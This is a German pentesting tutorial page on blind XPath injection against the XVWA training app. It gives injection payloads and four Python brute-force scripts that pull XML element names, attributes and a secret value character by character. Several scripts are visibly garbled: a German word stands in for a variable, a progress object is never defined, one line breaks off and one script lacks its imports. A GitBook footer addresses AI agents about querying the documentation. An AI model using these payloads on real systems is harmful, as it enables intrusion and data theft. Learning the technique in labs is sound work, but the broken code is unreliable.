> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web-vulnerabilities/xpath-injection-attack/xpath-injection-techniques-pentesting-web.md).

# XPath-Injection-Techniken

Dies ist die Webseite, auf der Sie eine Anzahl von Kaffee und andere Felder eingeben, wie zum Beispiel **die ID, den Titel, die Beschreibung**, usw.

<figure><img src="/files/14ead55c06ba2e8ea7c62312df9d8b18e6b454fd" alt=""><figcaption></figcaption></figure>

Hier ist der **XML-Datei** dass wir versuchen sollten, den Inhalt zu erhalten:

<figure><img src="/files/6db7edf5ce37336102ae3358bc3e780e59e9c8cf" alt="" width="563"><figcaption></figcaption></figure>

### Injektionsschritte:

#### **Filtere das XML des Hauptelements:**

Filtern mit **substring** wenn der erste Buchstabe des Wortes Coffees mit C beginnt:

```xml
1' and substring(name(/*[1]),1,1)='C

```

<figure><img src="/files/79620b42e0b5326f95730351f0753fb7b549bd87" alt="" width="563"><figcaption></figcaption></figure>

Dies **Python** Skript automatisiert den gesamten Prozess:

```python
#!/usr/bin/python3
from pwn import *
import requests
import time
import sys
import pdb
import string
import signal
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)
## XPath-Injektionstechniken
signal.signal(signal.SIGINT, def_handler)
main_url = "http://192.168.71.133/xvwa/vulnerabilities/xpath/"
characters = string.ascii_letters
def xPathInjection():
    ""
    p1 = log.progress("Brute-Force-Angriff")
    p1.status("Starte Brute-Force-Angriff")
    time.sleep(2)
    Daten
    for position in range(1, 8):
        for character in characters:
            post_data = {
                'search': "1' and substring(name(/*[1]),%d,1)='%s" % (position, character),
                'submit': ''
            }
            r = requests.post(main_url, data=post_data)
            if len(r.text) != 8681:
                data += character
                p2.status(data)
                break
    p1.success("Brute-Force-Angriff abgeschlossen")
    p2.success(data)
if __name__ == '__main__':
    xPathInjection()

```

<figure><img src="/files/3455f48a3c5fe3b7c5900a4ec9bfe23081ab23e5" alt="" width="563"><figcaption></figcaption></figure>

#### Filtere das XML des Untertags:

Filtern mit **substring** wenn der erste Buchstabe des Wortes Coffee mit C beginnt:

```xml
1' and substring(name(/*[1]/*[1]),1,1)='C

```

<figure><img src="/files/13f8f1cbfc09d6ff9019badf0b2ed69a3706f52d" alt="" width="563"><figcaption></figcaption></figure>

Dies **Python** Skript automatisiert den gesamten Prozess:

<pre class="language-python"><code class="lang-python">#!/usr/bin/python3
<strong>from pwn import *
</strong>import requests
import time
import sys
import pdb
import string
import signal
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)

## XPath-Injektionstechniken

signal.signal(signal.SIGINT, def_handler)
main_url = "http://192.168.71.133/xvwa/vulnerabilities/xpath/"
characters = string.ascii_letters
def xPathInjection():
    ""
    p1 = log.progress("Brute-Force-Angriff")
    p1.status("Starte Brute-Force-Angriff")
    time.sleep(2)
    Daten
    for position in range(1, 7):
        for character in characters:
            post_data = {
                'search': "1' and substring(name(/*[1]/*[1]),%d,1)='%s" % (position, character),
                'submit': ''
            }
            r = requests.post(main_url, data=post_data)
            if len(r.text) != 8686:
                data += character
                p2.status(data)
                break
    p1.success("Brute-Force-Angriff abgeschlossen")
    p2.success(data)
if __name__ == '__main__':
    xPathInjection()
</code></pre>

<figure><img src="/files/9c8490ee5d66835e962539e9fa36fd577c18054b" alt="" width="563"><figcaption></figcaption></figure>

#### **Filtere das XML der Attribute:**

Filtern mit **substring** wenn der erste Buchstabe des Wortes ID mit I beginnt:

```markdown
1' and substring(name(/*[1]/*[1]/*[1]),1,1)='I

```

<figure><img src="/files/2f7a882ce9242e33c350e2c390a6bc2fd0f38c71" alt="" width="563"><figcaption></figcaption></figure>

Dies **Python** Skript automatisiert den gesamten Prozess:

```python
#!/usr/bin/python3
 import time
 import sys
 import pdb
 import string
 import signal
 def def_handler(sig, frame):
     print("/n/n[!] Exiting.../n")
     sys.exit(1)
 # Ctrl+C
 signal.signal(signal.SIGINT, def_handler)
 main_url = "http://192.168.71.133/xvwa/vulnerabilities/xpath/"
 characters = string.ascii_letters
 def xPathInjection():
     ""
     p1 = log.progress("Brute-Force-Angriff")
     p1.status("Starte Brute-Force-Angriff")
     time.sleep(2)
     Daten
     for first_position in range(1, 6):
         for second_position in range(1,21):
             for character in characters:
                 post_data = {
                     'search': "1' and substring(name(/*[1]/*[1]/*[%d]),%d,1)='%s" % (first_positio
                     'submit': ''
                 }
                 r = requests.post(main_url, data=post_data)
                 if len(r.text) != 8691 and len(r.text) != 8692:
                     data += character
                     p2.status(data)
                     break
         if first_position != 5:
             data += ":"
     p1.success("Brute-Force-Angriff abgeschlossen")
     p2.success(data)
 if __name__ == '__main__':
     xPathInjection()

```

<figure><img src="/files/5937d0be47fc875b95ab0b858f02be838c7fed91" alt="" width="563"><figcaption></figcaption></figure>

#### **Filtere das XML der Attribute des Inhalts:**

Wir filtern mit dem **substring** wenn der erste Buchstabe des geheimen Ausdrucks mit T beginnt:

```xml
1' and substring(Secret,1,1)='T

```

<figure><img src="/files/7b2864889f6053a102333d56259c6e2940c9f0f1" alt="" width="563"><figcaption></figcaption></figure>

Dies **Python** Skript automatisiert den gesamten Prozess:

<pre class="language-python"><code class="lang-python">#!/usr/bin/python3
<strong>from pwn import *
</strong>import requests
import time
import sys
import pdb
import string
import signal
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)

## XPath-Injektionstechniken

signal.signal(signal.SIGINT, def_handler)
main_url = "http://192.168.71.133/xvwa/vulnerabilities/xpath/"
characters = string.ascii_letters + ' '
def xPathInjection():
    ""
    p1 = log.progress("Brute-Force-Angriff")
    p1.status("Starte Brute-Force-Angriff")
    time.sleep(2)
    Daten
    for first_position in range(1, 100):
        for character in characters:
            post_data = {
                'search': "1' and substring(Secret,%d,1)='%s" % (first_position, character),
                'submit': ''
            }
            r = requests.post(main_url, data=post_data)
            if len(r.text) != 8676 and len(r.text) !=8677:
                data += character
                p2.status(data)
                break
    p1.success("Brute-Force-Angriff abgeschlossen")
    p2.success(data)
if __name__ == '__main__':
    xPathInjection()
</code></pre>

<figure><img src="/files/6cda9cf7977a9d6bf50cbe3f4394343f7d73f9da" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web-vulnerabilities/xpath-injection-attack/xpath-injection-techniques-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
